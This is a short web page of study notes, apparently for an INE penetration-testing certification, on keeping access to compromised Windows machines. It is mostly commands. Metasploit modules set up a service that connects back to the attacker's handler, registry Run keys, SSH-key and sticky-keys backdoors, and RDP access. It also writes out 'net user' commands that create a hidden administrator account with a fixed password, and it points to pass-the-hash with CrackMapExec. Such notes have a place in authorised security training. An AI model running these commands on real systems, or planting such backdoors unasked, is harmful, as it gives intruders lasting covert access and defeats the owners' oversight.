Skip to content
Home

Windows persistence

Keep access across reboots and credential changes through service installers, registry startup, RDP backdoors, SSH key generation, and sticky keys.

msfconsole·1 min read··INE Certification

Initial access is fragile as the vulnerabilities get patched, credentials change, or the session times out. Persistence means getting back in without re-exploiting. This, of course, requires elevated (admin/SYSTEM) privileges.

Search for available MSF persistence modules first

search platform:windows persistence

Most reliable: install a persistent service

use exploit/windows/local/persistence_service
set SESSION <id>
set STARTUP SYSTEM            # runs at boot as SYSTEM
run
# Creates a service that constantly tries to connect back to the handler

Quick options for other scenarios

# Registry startup key
use exploit/windows/local/persistence            # HKCU/HKLM Run key

# SSH key persistence (if SSH is available)
use post/windows/manage/sshkey_persistence

# Sticky keys backdoor
use post/windows/manage/sticky_keys
set ACTION ADD
set SESSION <id>
run

# Enable RDP + create a backdoor account
use post/windows/manage/enable_rdp
use post/windows/manage/add_user   # then add to local administrators

net user backdooruser Password123! /add
net localgroup administrators backdooruser /add
xfreerdp /u:backdooruser /p:Password123! /v:<target_ip>

Credentials-based persistence: pass-the-hash

If you’ve dumped the Administrator NTLM hash, you can authenticate without a service or RDP. This hash is valid until the password changes, and CrackMapExec’s crackmapexec smb -H <hash> works at any time. See the hash dumping & pass-the-hash snippet for how to get that hash.